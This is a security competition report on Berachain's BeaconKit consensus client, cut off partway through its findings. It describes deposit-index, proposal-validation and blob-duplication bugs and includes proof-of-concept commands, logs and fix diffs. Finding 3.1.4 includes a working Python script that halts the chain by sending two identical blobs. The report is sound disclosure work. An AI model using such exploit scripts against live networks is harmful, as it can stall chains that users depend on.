



Berachain Beaconkit

Competition

February 21, 2025

Contents

1	Introduction	2
1.1	About Cantina	2
1.2	Disclaimer	2
1.3	Risk assessment	2
1.3.1	Severity Classification	2
2	Security Review Summary	3
3	Findings	4
3.1	High Risk	4
3.1.1	First deposits will be ignored and lost	4
3.1.2	ProcessProposal accepts incorrect proposals	7
3.1.3	VerifyIncomingBlock will return incorrect error status after building optimistic payload	10
3.1.4	Malicious user can halt EVM chain by providing two similar blobs in a single EVM block	11
3.1.5	Multiple checks in stateProcessor.Transition are bypassed when execution engine send ErrAcceptedPayloadStatus	14
3.1.6	Malicious proposer can halt the execution chain by proposing a slot number far in the future	16
3.1.7	Deposits can be forged due to incorrect check in validateNonGenesisDeposits	18
3.2	Medium Risk	20
3.2.1	Chain halt by spamming deposits request with minimum staking amount	20
3.2.2	Malicious proposer can include additional transactions in BeaconBlock	42
3.2.3	Deposits are invalid across forks	42

1 Introduction

1.1 About Cantina

Cantina is a security services marketplace that connects top security researchers and solutions with clients. Learn more at cantina.xyz

1.2 Disclaimer

A competition provides a broad evaluation of the security posture of the code at a particular moment based on the information available at the time of the review. While competitions endeavor to identify and disclose all potential security issues, they cannot guarantee that every vulnerability will be detected or that the code will be entirely secure against all possible attacks. The assessment is conducted based on the specific commit and version of the code provided. Any subsequent modifications to the code may introduce new vulnerabilities, therefore, any changes made to the code would require an additional security review. Please be advised that competitions are not a replacement for continuous security measures such as penetration testing, vulnerability scanning, and regular code reviews.

1.3 Risk assessment

Severity	Description
Critical	<i>Must fix as soon as possible (if already deployed).</i>
High	Leads to a loss of a significant portion (>10%) of assets in the protocol, or significant harm to a majority of users.
Medium	Global losses <10% or losses to only a subset of users, but still unacceptable.
Low	Losses will be annoying but bearable. Applies to things like griefing attacks that can be easily repaired or even gas inefficiencies.
Gas Optimization	Suggestions around gas saving practices.
Informational	Suggestions around best practices or readability.

1.3.1 Severity Classification

The severity of security issues found during the security review is categorized based on the above table. Critical findings have a high likelihood of being exploited and must be addressed immediately. High findings are almost certain to occur, easy to perform, or not easy but highly incentivized thus must be fixed as soon as possible.

Medium findings are conditionally possible or incentivized but are still relatively likely to occur and should be addressed. Low findings a rare combination of circumstances to exploit, or offer little to no incentive to exploit but are recommended to be addressed.

Lastly, some findings might represent objective improvements that should be addressed but do not impact the project's overall security (Gas and Informational findings).

2 Security Review Summary

Berachain is an EVM-identical L1 turning liquidity into security powered by Proof Of Liquidity.

From Dec 20th to Jan 24th Cantina hosted a competition based on [Beacon Kit](#). The participants identified a total of **36** issues in the following risk categories:

- Critical Risk: 0
- High Risk: 7
- Medium Risk: 3
- Low Risk: 8
- Gas Optimizations: 0
- Informational: 18

The present report only outlines the **critical**, **high** and **medium** risk issues.

3 Findings

3.1 High Risk

3.1.1 First deposits will be ignored and lost

Submitted by [zigtur](#)

Severity: High Risk

Context: [block_builder.go#L298-L326](#), [DepositContract.sol#L134-L137](#), [store.go#L109-L114](#)

Description: The genesis of an EVM chain includes multiple deposits for the genesis validators. All of them have a separate index. For example, this can be seen in the `testing/networks/80084/genesis.json` file. We can see that there are 86 (from index 0 to 85) deposits in the genesis:

```

"deposits": [
  {
    "pubkey": "0xa00d992e629f49456481e48bf01d0c43ecaf8a8181e9d7115cd0644adbda6b1ed91dd43688e73dcd8145affb3"
    ↪ f88f783",
    "credentials": "0x0100000000000000000000000000000000000000000000000000000000000000",
    "amount": "0x773594000",
    "signature":
    ↪ "0x8dd0875e527b580b5e012fbd8f4e25daa4a31869fbd2ec8e2983711b5b2fe2482fb884a6ff0f4525b665fe364fe7d45"
    ↪ 21530b3cdf980c2c8f1b72a9102d62b0f818eb2589b6c367f6b080987caf274fb07f3fb938a14b5dd30d86fefc9eda5d",
    "index": 0
  },
  ...
  {
    "pubkey": "0xb6be1624593603d640144173489b305a52fb939cfa773284822c17a0e6b97e5435043f514d10add206d2b1367"
    ↪ 7babee9",
    "credentials": "0x0100000000000000000000000000000000000000000000000000000000000000",
    "amount": "0x773594000",
    "signature":
    ↪ "0x8d81acca3b1caa9cb071f2e8c3ebb2df97329c1980c04fdf14d43ec8c5369960aaf1ef491460f3963c61c02b50b22b0"
    ↪ 912f2477bb4b49482c546247c3aa35c005aa545cd3dd6b00622c4216e1b269babd8e8dbe02195cb1326e8a7d4069915f1",
    "index": 85
  }
]

```

However, the `Deposit` contract is initialized with a counter starting at 0 and will use this index in the `Deposit` event emitted.

[illegible]

This means that all the deposits made before index 86 will be lost and not processed by the Beacon chain. They will just overwrite these existing deposits and will be ignored. This overwriting is done in `EnqueueDeposits` as it stores the deposit to the index emitted by the deposit contract.

```
// EnqueueDeposits pushes multiple deposits to the queue.
func (kv *KVStore) EnqueueDeposits(deposits []*ctypes.Deposit) error {
    kv.mu.Lock()
    defer kv.mu.Unlock()

    for _, deposit := range deposits {
        idx := deposit.GetIndex().Unwrap() // @POC: get index from the deposit log
        if err := kv.store.Set(context.TODO(), idx, deposit); err != nil { // @POC: set the deposit data for
            ↪ given index
            return errors.Wrapf(err, "failed to enqueue deposit %d", idx)
        }
    }
}
```

Impact: New deposits that share an index with one of the genesis deposits will be ignored and lost.

Proof of Concept:

- Start of the chain: Apply the following patch:

```
diff --git a/beacon/validator/block_builder.go b/beacon/validator/block_builder.go
index 6d2060d..75e9a47 100644
--- a/beacon/validator/block_builder.go
+++ b/beacon/validator/block_builder.go
@@ -309,6 +309,11 @@ func (s *Service[_]) buildBlockBody(
    return err
}

+    s.logger.Info(
+        "POC - buildBlockBody",
+        "deposits[0]", deposits[0],
+    )
+
    var eth1Data *ctypes.Eth1Data
    body.SetEth1Data(eth1Data.New(deposits.HashTreeRoot(), 0, common.ExecutionHash{}))
```

Start the local development network and redirect the beacon logs to a file.

```
make start > logs-beacon.ansi
make start-reth
```

The genesis.json located in .tmp/beacond/config/genesis.json includes a single deposit.

```
"deposits": [
  {
    "pubkey": "0x8dc929d2845dcd19c01a9003e04f8bce9c3560c4913f891f5719ed6d01deb1c58d11fe1c127d3a42a758" ↪
    ↪ 9b73b48c9fd2",
    "credentials": "0x01000000000000000000000020f33ce90a13a4b5e7697e3544c3083b8f8a51d4",
    "amount": "0x773594000",
    "signature": "0x92ede6ff5ee281ddf345cbed17a5367fb92a46394ad951b6c8bb662b7d6b10f620b8e59793fc41fb" ↪
    ↪ 36de837da83f4830b65a650595d971429b5bbe999f909a174e2998c001ed11f95d9f4c62c724862a605bb22c7841e" ↪
    ↪ fec42b042f1baf6aef",
    "index": 0
  }
],
```

- Deposits: Make a first deposit through the following cast command:

```
cast send "0x42424242424242424242424242424242424242424242" \
"deposit(bytes,bytes,bytes,address)" \
"0x1122334411223344112233441122334411223344112233441122334411223344112233441122334411223344" \
"0x112233441122334411223344112233441122334411223344112233441122334411223344" \
"0x112233441122334411223344112233441122334411223344112233441122334411223344112233441122" ↪
↪ 334411223344112233441122334411223344112233441122334411223344112233441122334411223344" \
"0x20f33ce90a13a4b5e7697e3544c3083b8f8a51d4" --value 10000000000000000 --private-key \
"0xffffdbb37105441e14b0ee6330d855d8504ff39e705c3afa8f859ac9865f99306" \
--rpc-url http://127.0.0.1:8545/
```

Then, in another block, make a second deposit with a different public key.

```
cast send "0x42424242424242424242424242424242424242424242424242424242" \
"deposit(bytes,bytes,bytes,address)" \
"0x002233441122334411223344112233441122334411223344112233441122334411223344112233441122334411223344" \
"0x1122334411223344112233441122334411223344112233441122334411223344" \
"0x11223344112233441122334411223344112233441122334411223344112233441122334411223344112233441122" \
↪ 334411223344112233441122334411223344112233441122334411223344112233441122334411223344" \
"0x20f33ce90a13a4b5e7697e3544c3083b8f8a51d4" --value 10000000000000000 --private-key \
"0xffffdbb37105441e14b0ee6330d855d8504ff39e705c3afa8f859ac9865f99306" \
--rpc-url http://127.0.0.1:8545/
```

- Results:

Note: In the following results, the first deposit occurred at block 7 and the second at block 14.

Before block 7, a single deposit is retrieved. It corresponds to the genesis one and it is not included in blocks 2, 3, 4 (as num_deposits=0 shows) ...

```
2025-01-05T11:03:26+01:00 INFO Payload retrieved from local builder service=payload-builder for_slot=4
↪ override_builder=false
↪ payload_block_hash=0xc17f084f3e026f33356cd9d489461ada677ba5f1293c76e2ea17fdc98996e960
↪ parent_hash=0x3f212b0d26f5598931a0899c706658a221a6baf6d451a3d28aa9320bdd8bbc21 num_blobs=0
2025-01-05T11:03:26+01:00 INFO POC - buildBlockBody service=validator deposits[0]={ "pubkey": "0x8dc929d2845dcd1
↪ 9c01a9003e04f8bce9c3560c4913f891f5719ed6d01deb1c58d11fe1c127d3a42a7589b73b48c9fd2", "credentials": "0x010000
↪ 000000000000000020f33ce90a13a4b5e7697e3544c3083b8f8a51d4", "amount": "0x773594000", "signature": "0x92ede6ff
↪ 5ee281ddf345cdbeb17a5367fb92a46394ad951b6c8bb662b7d6b10f620b8e59793fc41fb36de837da83f4830b65a650595d971429
↪ b5bbe999f909a174e2998c001ed11f95d9f4c62c724862a605bb22c7841efec42b042f1baf6aef", "index": 0}
2025-01-05T11:03:26+01:00 INFO Building block body with local deposits service=validator start_index=1
↪ num_deposits=0
2025-01-05T11:03:26+01:00 INFO processExecutionPayload service=state-processor consensus height=4 payload
↪ height=4 payload timestamp=1736071405 consensus timestamp=1736071405 skip payload verification=true
```

Then, in blocks between 7 and 14, we can see that the genesis deposit (index 0 of deposits) has been overwritten. More importantly, the new deposit is not included as we don't see a log with num_deposits=1 but only num_deposits=0.

```
2025-01-05T11:03:32+01:00 INFO Payload retrieved from local builder service=payload-builder for_slot=9
↪ override_builder=false
↪ payload_block_hash=0x95e973128ecfcec7077f4a1775ac53711bbcf32bd480b181dc99983c9909d21f
↪ parent_hash=0x559ac50db13415e44d69486c7faaafc56f371b071ef6dfe45c8e71843ca6c9d4 num_blobs=0
2025-01-05T11:03:32+01:00 INFO POC - buildBlockBody service=validator deposits[0]={ "pubkey": "0x112233441122334
↪ 41122334411223344112233441122334411223344112233441122334411223344112233441122334411223344", "credentials": "0x1122334
↪ 411223344112233441122334411223344112233441122334411223344", "amount": "0x3b9aca00", "signature": "0x11223344112
↪ 23344112233441122334411223344112233441122334411223344112233441122334411223344112233441122334411223
↪ 344112233441122334411223344112233441122334411223344112233441122334411223344", "index": 0}
2025-01-05T11:03:32+01:00 INFO Building block body with local deposits service=validator start_index=1
↪ **num_deposits=0**
2025-01-05T11:03:32+01:00 INFO processExecutionPayload service=state-processor consensus height=9 payload
↪ height=9 payload timestamp=1736071411 consensus timestamp=1736071411 skip payload verification=true
```

In a normal situation, the deposits should have been accounted. This means that we should have seen a log with num_deposits=1. This is the case with the second deposit.

```
2025-01-05T11:03:39+01:00 INFO Payload retrieved from local builder service=payload-builder for_slot=16
↪ override_builder=false
↪ payload_block_hash=0xdbd6e2a543d3c35bcce556aeb4cf44faaa41b236e18bac64b5ef956be06b04
↪ parent_hash=0xb959e8bb91392675e17837d484ec6be6aac23239082a5a21a10761106afb31f2 num_blobs=0
2025-01-05T11:03:39+01:00 INFO POC - buildBlockBody service=validator deposits[0]={ "pubkey": "0x112233441122334
↪ 41122334411223344112233441122334411223344112233441122334411223344112233441122334411223344", "credentials": "0x1122334
↪ 411223344112233441122334411223344112233441122334411223344", "amount": "0x3b9aca00", "signature": "0x11223344112
↪ 23344112233441122334411223344112233441122334411223344112233441122334411223344112233441122334411223
↪ 344112233441122334411223344112233441122334411223344112233441122334411223344", "index": 0}
2025-01-05T11:03:39+01:00 INFO Building block body with local deposits service=validator start_index=1
↪ **num_deposits=1**
2025-01-05T11:03:39+01:00 INFO processExecutionPayload service=state-processor consensus height=16 payload
↪ height=16 payload timestamp=1736071418 consensus timestamp=1736071418 skip payload verification=true
```

Recommendation: This issue can be fixed through multiple ways:

- In the genesis, set the Deposit contract with depositCount == n (n being the index of the next expected deposit).
- Do not include the genesis deposits in the DepositStore to avoid overwriting them.

- Add an offset to the deposit index on the beacon side.

Berachain: Fixed in commit [3ae16e4b](#).

3.1.2 ProcessProposal **accepts incorrect proposals**

Submitted by [zigtur](#), also found by [zigtur](#), [zigtur](#), [zigtur](#), [dontonka](#) and [Mario Poned](#)

Severity: High Risk

Context: [process_proposal.go#L50-L143](#)

Description: The CometBFT consensus algorithm is built with 4 main steps:

- PrepareProposal: a validator is chosen to propose a block. It is called the "*proposer*".
- ProcessProposal: every validator validates the proposed block.
- FinalizeBlock: the block is processed.
- Commit: updates are committed.

In this consensus algorithm, the ProcessProposal step is critical. It verifies the validity of the proposal created by the proposer. When a proposal is invalid, there are two types of behaviours that can be implemented:

- Reject the proposal.
- Accept the proposal but do not process it.

The BeaconKit uses the second behaviour. It accepts any incorrect proposal. However, the block finalization in FinalizationBlock will process these invalid proposals.

Impact: There are multiple impacts:

- The consensus chain will process blocks with invalid ExecutionPayload (EVM transactions).
- Consensus chain accepts Blob transactions with no sidecars to store at the beacon level.

All the errors in ProcessProposal are wrapped as "*non-fatal*". This will make createProcessProposalResponse accept all invalid proposals.

```
func (s *Service[
    _, _, ConsensusBlockT, _,
    GenesisT, ConsensusSidecarsT,
]) ProcessProposal(
    ctx sdk.Context,
    req *cmtabci.ProcessProposalRequest,
) (*cmtabci.ProcessProposalResponse, error) {
    // Decode the beacon block.
    blk, err := encoding.
        UnmarshalBeaconBlockFromABCIRquest(
            req,
            BeaconBlockTxIndex,
            s.chainSpec.ActiveForkVersionForSlot(math.U64(req.Height)),
        )
    if err != nil {
        return createProcessProposalResponse(errors.WrapNonFatal(err)) // @POC: Non Fatal
    } else if blk.IsNil() {
        s.logger.Warn(
            "Aborting block verification - beacon block not found in proposal",
        )
        return createProcessProposalResponse(errors.WrapNonFatal(ErrNilBlk)) // @POC: Non Fatal
    }

    // Decode the blob sidecars.
    sidecars, err := encoding.
        UnmarshalBlobSidecarsFromABCIRquest(
            req,
            BlobSidecarsTxIndex,
        )
    if err != nil {
        return createProcessProposalResponse(errors.WrapNonFatal(err))
    } else if sidecars.IsNil() {
        s.logger.Warn(
            "Aborting block verification - blob sidecars not found in proposal",
        )
    }
}
```



```

    )
    return createProcessProposalResponse(errors.WrapNonFatal(ErrNilBlob))
}

// Make sure we have the right number of BlobSidecars
numCommitments := len(blk.GetBody().GetBlobKzgCommitments())
if numCommitments != len(sidecars) {
    err = fmt.Errorf("expected %d sidecars, got %d",
        numCommitments, len(sidecars),
    )
    return createProcessProposalResponse(errors.WrapNonFatal(err)) // @POC: Non Fatal
}

if numCommitments > 0 {
    // Process the blob sidecars
    //
    // In theory, swapping the order of verification between the sidecars
    // and the incoming block should not introduce any inconsistencies
    // in the state on which the sidecar verification depends on (notably
    // the currently active fork). ProcessProposal should only
    // keep the state changes as candidates (which is what we do in
    // VerifyIncomingBlock).
    var consensusSidecars *types.ConsensusSidecars
    consensusSidecars = consensusSidecars.New(
        sidecars,
        blk.GetHeader(),
    )
    err = s.VerifyIncomingBlobSidecars(
        ctx,
        consensusSidecars,
    )
    if err != nil {
        s.logger.Error(
            "failed to verify incoming blob sidecars",
            "error", err,
        )
        return createProcessProposalResponse(errors.WrapNonFatal(err)) // @POC: Non Fatal
    }
}

// Process the block
var consensusBlk *types.ConsensusBlock
consensusBlk = consensusBlk.New(
    blk,
    req.GetProposerAddress(),
    req.GetTime(),
)
err = s.VerifyIncomingBlock(
    ctx,
    consensusBlk.GetBeaconBlock(),
    consensusBlk.GetConsensusTime(),
    consensusBlk.GetProposerAddress(),
)
if err != nil {
    s.logger.Error("failed to verify incoming block", "error", err)
    return createProcessProposalResponse(errors.WrapNonFatal(err))
}

return createProcessProposalResponse(nil)
}

```

createProcessProposalResponse accepts every proposal when the error is non fatal:

```
// createResponse generates the appropriate ProcessProposalResponse based on the
// error.
func createProcessProposalResponse(
    err error,
) (*cmtabci.ProcessProposalResponse, error) {
    status := cmtabci.PROCESS_PROPOSAL_STATUS_REJECT
    if !errors.IsFatal(err) {
        status = cmtabci.PROCESS_PROPOSAL_STATUS_ACCEPT // @POC: Accept if error non-fatal
        err = nil
    }
    return &cmtabci.ProcessProposalResponse{Status: status}, err
}
```

Recommendation: The ProcessProposal logic must reject proposals that trigger an execution error. This can be done by wrapping errors as fatal when calling createProcessProposalResponse to reject the proposal through PROCESS_PROPOSAL_STATUS_REJECT:

```
diff --git a/beacon/blockchain/process_proposal.go b/beacon/blockchain/process_proposal.go
index 9043527..e31fe56 100644
--- a/beacon/blockchain/process_proposal.go
+++ b/beacon/blockchain/process_proposal.go
@@ -62,12 +62,12 @@ func (s *Service[
    s.chainSpec.ActiveForkVersionForSlot(math.U64(req.Height)),
    )
    if err != nil {
-       return createProcessProposalResponse(errors.WrapNonFatal(err))
+       return createProcessProposalResponse(errors.WrapFatal(err))
    } else if blk.IsNil() {
        s.logger.Warn(
            "Aborting block verification - beacon block not found in proposal",
        )
-       return createProcessProposalResponse(errors.WrapNonFatal(ErrNilBlk))
+       return createProcessProposalResponse(errors.WrapFatal(ErrNilBlk))
    }

    // Decode the blob sidecars.
@@ -77,12 +77,12 @@ func (s *Service[
    BlobSidecarsTxIndex,
    )
    if err != nil {
-       return createProcessProposalResponse(errors.WrapNonFatal(err))
+       return createProcessProposalResponse(errors.WrapFatal(err))
    } else if sidecars.IsNil() {
        s.logger.Warn(
            "Aborting block verification - blob sidecars not found in proposal",
        )
-       return createProcessProposalResponse(errors.WrapNonFatal(ErrNilBlob))
+       return createProcessProposalResponse(errors.WrapFatal(ErrNilBlob))
    }

    // Make sure we have the right number of BlobSidecars
@@ -91,7 +91,7 @@ func (s *Service[
    err = fmt.Errorf("expected %d sidecars, got %d",
        numCommitments, len(sidecars),
    )
-       return createProcessProposalResponse(errors.WrapNonFatal(err))
+       return createProcessProposalResponse(errors.WrapFatal(err))
    }

    if numCommitments > 0 {
@@ -117,7 +117,7 @@ func (s *Service[
        "failed to verify incoming blob sidecars",
        "error", err,
    )
-       return createProcessProposalResponse(errors.WrapNonFatal(err))
+       return createProcessProposalResponse(errors.WrapFatal(err))
    }
}

@@ -136,7 +136,7 @@ func (s *Service[
    )
    if err != nil {
        s.logger.Error("failed to verify incoming block", "error", err)
    }
}
```

```

-         return createProcessProposalResponse(errors.WrapNonFatal(err))
+         return createProcessProposalResponse(errors.WrapFatal(err))
    }

    return createProcessProposalResponse(nil)

```

Berachain: Fixed in commit [31ddfe72](#).

3.1.3 VerifyIncomingBlock will return incorrect error status after building optimistic payload

Submitted by [zigtur](#)

Severity: High Risk

Context: [process_proposal.go#L222-L257](#)

Description: The VerifyIncomingBlock function is called during the ProcessProposal step of CometBFT. This function verify the state root of the incoming block by calling verifyStateRoot.

However, when the optimistic payload builds configuration is set, the function will not return errors happening in verifyStateRoot but will return the error result from the optimistic build. This means that failing blocks will proceed as they don't return any error.

On the impact side, it leads the ProcessProposal to continue execution of the block despite this block being invalid. This will then lead finalizeBlock to finalize invalid blocks.

In VerifyIncomingBlock, a call to verifyStateRoot is made. If it fails (i.e. block is invalid), an optimistic payload is built. However, the result from the optimistic payload is returned instead of the error from verifyStateRoot.

```

// Verify the state root of the incoming block.
err := s.verifyStateRoot(
    ctx,
    postState,
    beaconBlk,
    consensusTime,
    proposerAddress)
if err != nil { // @POC: There was an error in `verifyStateRoot`
    s.logger.Error(
        "Rejecting incoming beacon block ",
        "state_root",
        beaconBlk.GetStateRoot(),
        "reason",
        err,
    )

    if s.shouldBuildOptimisticPayloads() {
        var lph *ctypes.ExecutionPayloadHeader
        lph, err = preState.GetLatestExecutionPayloadHeader() // @POC: Override `err` with `nil` as it succeeds
        if err != nil {
            return err
        }

        go s.handleRebuildPayloadForRejectedBlock(
            ctx,
            preState,
            payloadtime.Next(
                consensusTime,
                lph.GetTimestamp(),
                true, // buildOptimistically
            ),
        )
    }

    return err // @POC: `nil` is returned instead of the error!!!
}

```

Recommendation: Return the error from verifyStateRoot instead of the err from GetLatestExecutionPayloadHeader.

```
diff --git a/beacon/blockchain/process_proposal.go b/beacon/blockchain/process_proposal.go
index 9043527..0ec7c76 100644
--- a/beacon/blockchain/process_proposal.go
+++ b/beacon/blockchain/process_proposal.go
@@ -237,8 +237,10 @@ func (s *Service[
    if s.shouldBuildOptimisticPayloads() {
        var lph *ctypes.ExecutionPayloadHeader
-       lph, err = preState.GetLatestExecutionPayloadHeader()
-       if err != nil {
+       lph, err2 := preState.GetLatestExecutionPayloadHeader()
+       if err2 != nil {
+           // If we fail to get the latest execution payload header,
+           // then return `verifyStateRoot` error
            return err
        }
    }
}
```

Berachain: Fixed in commit 1a9aeae6.

3.1.4 Malicious user can halt EVM chain by providing two similar blobs in a single EVM block

Submitted by *zigtur*

Severity: High Risk

Context: verifier.go#L89-L94

Description: During ProcessProposal of a given consensus block, the verifier.verifySidecars function loops through the sidecars to verify them. Multiple checks are done.

However, this function incorrectly checks for duplicate commitments in these sidecars. It will return an error when duplicate KZG commitments are found in the sidecars.

```
// verifySidecars verifies the blobs for both inclusion as well
// as the KZG proofs.
func (bv *verifier) verifySidecars(
    sidecars datypes.BlobSidecars,
    blkHeader *ctypes.BeaconBlockHeader,
    verifierFn func(
        blkHeader *ctypes.BeaconBlockHeader,
        signature crypto.BLSSignature,
    ) error,
) error {
    // ...

    // create lookup table to check for duplicate commitments
    duplicateCommitment := make(map[eip4844.KZGCommitment]struct{})

    // Validate sidecar fields against data from the BeaconBlock.
    for i, s := range sidecars {
        // Check if sidecar's kzgCommitment is duplicate. Along with the
        // length check and the inclusion proof, this fully verifies that
        // the KzgCommitments in the BlobSidecar are the exact same as the
        // ones in the BeaconBlockBody without having to explicitly compare.
        if _, exists := duplicateCommitment[s.GetKzgCommitment()]; exists {
            return errors.New(
                "found duplicate KzgCommitments in BlobSidecars", // @POC: in case of duplicate, return an
                ↳ error and reject the proposal
            )
        }
        duplicateCommitment[s.GetKzgCommitment()] = struct{}{}
    }

    // ...
}
```

This duplicate check is incorrect. Indeed, two blobs with the exact same data will result in the same KZG commitment.

So a user can send two blob transactions with the same blob data. These two blobs will be included in a single EVM block by the execution layer. Then, the consensus layer will prepare a proposal from this EVM block with two sidecars having the same KZG commitment.

Proof of Concept:

- Instructions: Start the local devnet.

```
make start > logs-beacon.ansi
make start-reth
```

Then, install the Python dependencies.

```
python3 -m venv localenv
source localenv/bin/activate
pip3 install web3 requests
```

Finally, execute the following Python script. It sends two Blob transactions with the same data such that the chain is not able to process any other block.

```
import os

from eth_abi import abi
from eth_utils import to_hex
from web3 import HTTPProvider, Web3

def send_blob():
    rpc_url = "http://127.0.0.1:8545"
    private_key = "0xffffdbb37105441e14b0ee6330d855d8504ff39e705c3afa8f859ac9865f99306"
    w3 = Web3(HTTPProvider(rpc_url))

    text = ""
    encoded_text = abi.encode(["string"], [text])

    print("Text:", encoded_text)

    # Blob data must be comprised of 4096 32-byte field elements
    # So yeah, blobs must be pretty big
    BLOB_DATA = (b"\x00" * 32 * (4096 - len(encoded_text) // 32)) + encoded_text

    acct = w3.eth.account.from_key(private_key)
    nonce = w3.eth.get_transaction_count(acct.address)

    tx = {
        "type": 3,
        "chainId": 80087, # Anvil
        "from": acct.address,
        "to": "0x0000000000000000000000000000000000000000",
        "value": 0,
        "maxFeePerGas": 10**12,
        "maxPriorityFeePerGas": 10**12,
        "maxFeePerBlobGas": to_hex(10**12),
        "nonce": nonce,
    }

    tx["gas"] = 10**6

    tx2 = {
        "type": 3,
        "chainId": 80087, # Anvil
        "from": acct.address,
        "to": "0x0000000000000000000000000000000000000000",
        "value": 0,
        "maxFeePerGas": 10**12,
        "maxPriorityFeePerGas": 10**12,
        "maxFeePerBlobGas": to_hex(10**12),
        "nonce": nonce+1,
    }

    tx2["gas"] = 10**6

    signed = acct.sign_transaction(tx, blobs=[BLOB_DATA])
    signed2 = acct.sign_transaction(tx2, blobs=[BLOB_DATA])

    tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction)
    tx_hash2 = w3.eth.send_raw_transaction(signed2.raw_transaction)
    tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
    tx_receipt2 = w3.eth.wait_for_transaction_receipt(tx_hash2)
    print(f"Tx receipt: {tx_receipt}")
    print(f"Tx2 receipt: {tx_receipt2}")
```

```
def main() -> int:
    send_blob()
    return 0

if __name__ == "__main__":
    main()
```

- Results: The following logs are printed by the beacon kit. It wasn't able to process the consensus block because it has found duplicate KZG commitments. Note the rejecting incoming blob sidecars service=blockchain reason=found duplicate KzgCommitments in BlobSidecars error log. This is due to the two blob transactions with same blob data being included in a single EVM block.

```
2025-01-14T10:18:10+01:00 INFO indexed block events module=txindex height=114
2025-01-14T10:18:10+01:00 INFO Saving AddrBook to file module=p2p book=.tmp/beacon/config/addrbook.json size=0
2025-01-14T10:18:10+01:00 INFO Ensure peers module=pex numOutPeers=0 numInPeers=0 numDialing=0 numToDial=10
2025-01-14T10:18:10+01:00 INFO No addresses to dial. Falling back to seeds module=pex
2025-01-14T10:18:11+01:00 INFO Timed out module=consensus dur=988.899444 height=115 round=0
↳ step=RoundStepNewHeight
2025-01-14T10:18:11+01:00 INFO Payload retrieved from local builder service=payload-builder for_slot=115
↳ override_builder=false
↳ payload_block_hash=0x4a1f77236ef549d79e42ccd8cb2370369cab9af21eee4632e1da987d2b1991f7
↳ parent_hash=0xc2722f827757903f4c6a878516a4dcbee3ac2136795e2499ed1f7a3415a18dcc num_blobs=2
2025-01-14T10:18:11+01:00 INFO Building block body with local deposits service=validator start_index=1
↳ num_deposits=0
2025-01-14T10:18:11+01:00 INFO processExecutionPayload service=state-processor consensus height=115 payload
↳ height=115 payload timestamp=1736846290 consensus timestamp=1736846290 skip payload verification=true
2025-01-14T10:18:11+01:00 INFO Processed withdrawals service=state-processor num_withdrawals=1 bera_inflation=10
2025-01-14T10:18:11+01:00 INFO Beacon block successfully built service=validator slot=115
↳ state_root=0x4403ee4dc13ccaa9e7e9df31131c7717de1ccf9b3c749d2c68f191bdcff652e2 duration=17.962585ms
2025-01-14T10:18:11+01:00 INFO Received proposal module=consensus proposal=Proposal{115/0
↳ (00F11CB43A9800E2E90BD78B6598ABD23F8E2B78DEE937C42E6101840FA487D7:5:59A2F27C2B5B, -1) B4D124ABAF8F @
↳ 2025-01-14T09:18:10.722713825Z} proposer=DAFB9F9ACEE09275EFCA806D6072D4432278479F
2025-01-14T10:18:11+01:00 INFO Received complete proposal block module=consensus height=115
↳ hash=00F11CB43A9800E2E90BD78B6598ABD23F8E2B78DEE937C42E6101840FA487D7
2025-01-14T10:18:11+01:00 INFO Received incoming blob sidecars service=blockchain
2025-01-14T10:18:11+01:00 ERROR rejecting incoming blob sidecars service=blockchain reason=found duplicate
↳ KzgCommitments in BlobSidecars
2025-01-14T10:18:11+01:00 ERROR failed to verify incoming blob sidecars service=blockchain error=found
↳ duplicate KzgCommitments in BlobSidecars
2025-01-14T10:18:11+01:00 ERROR failed to process proposal height=115
↳ hash=00F11CB43A9800E2E90BD78B6598ABD23F8E2B78DEE937C42E6101840FA487D7 err=found duplicate KzgCommitments
↳ in BlobSidecars
2025-01-14T10:18:11+01:00 ERROR Prevote step: state machine rejected a proposed block; this should not
↳ happen:the proposer may be misbehaving; prevoting nil height=115 round=0 module=consensus err=null
2025-01-14T10:18:12+01:00 INFO Timed out module=consensus dur=1000 height=115 round=0
↳ step=RoundStepPrecommitWait
2025-01-14T10:18:12+01:00 INFO Resetting proposal info module=consensus height=115 round=1
↳ proposer=DAFB9F9ACEE09275EFCA806D6072D4432278479F
2025-01-14T10:18:12+01:00 WARN aborting payload build; payload already exists in cache service=payload-builder
↳ for_slot=115 parent_block_root=0xb1e6a2eeb39b0b7cc6fe88cbff366ac9e1cde802991ea96bcc017487bf6a05e
2025-01-14T10:18:12+01:00 INFO Waiting for local payload to be delivered to execution client
↳ service=payload-builder for_slot=115 timeout=1.2s
2025-01-14T10:18:13+01:00 ERROR failed to prepare proposal height=115 err=got an unexpected server error in
↳ JSON-RPC response failed to convert from jsonrpc.Error: Error -38001 (Unknown payload)
2025-01-14T10:18:13+01:00 INFO Received proposal module=consensus proposal=Proposal{115/1
↳ (E88C874EF4A11B2B9C20672E4EA02D555AE3B1898FDF614717C5DE5016041B1F:1:0BB6D1E9C086, -1) 902AFFD676AC @
↳ 2025-01-14T09:18:10.722713825Z} proposer=DAFB9F9ACEE09275EFCA806D6072D4432278479F
2025-01-14T10:18:13+01:00 INFO Received complete proposal block module=consensus height=115
↳ hash=E88C874EF4A11B2B9C20672E4EA02D555AE3B1898FDF614717C5DE5016041B1F
2025-01-14T10:18:14+01:00 ERROR failed to process proposal height=115
↳ hash=E88C874EF4A11B2B9C20672E4EA02D555AE3B1898FDF614717C5DE5016041B1F err=no beacon block in abci request
2025-01-14T10:18:14+01:00 ERROR Prevote step: state machine rejected a proposed block; this should not
↳ happen:the proposer may be misbehaving; prevoting nil module=consensus height=115 round=1 err=null
2025-01-14T10:18:15+01:00 INFO Timed out module=consensus dur=1500 height=115 round=1
↳ step=RoundStepPrecommitWait
```

Recommendation: The duplicateCommitment check should accept duplicate KZG commitment when the sidecar index is different. This will allow having two blobs with the same data while ensuring that there are no duplicates sidecars.

Berachain: Fixed in commit [1a312899](#).

3.1.5 Multiple checks in `stateProcessor.Transition` are bypassed when execution engine send `ErrAcceptedPayloadStatus`

Submitted by [zigtur](#)

Severity: High Risk

Context: [process_proposal.go#L314-L321](#), [state_processor_payload.go#L64-L72](#), [state_processor_payload.go#L189-L219](#)

Description: During `ProcessProposal`, a beacon block is processed to ensure its validity. A lot of verification happen in `stateProcessor.Transition`. We can see that Berachain is aware that the execution engine can return `AcceptedPayloadStatus` errors as the following comment in `verifyStateRoot` shows it:

```
func (s *Service[
    _, _, ConsensusBlockT,
    _, _, _
]) verifyStateRoot(
    // ...
    &transition.Context{
        Context:           ctx,
        OptimisticEngine:   false,
        SkipPayloadVerification: false,
        SkipValidateResult:  false,
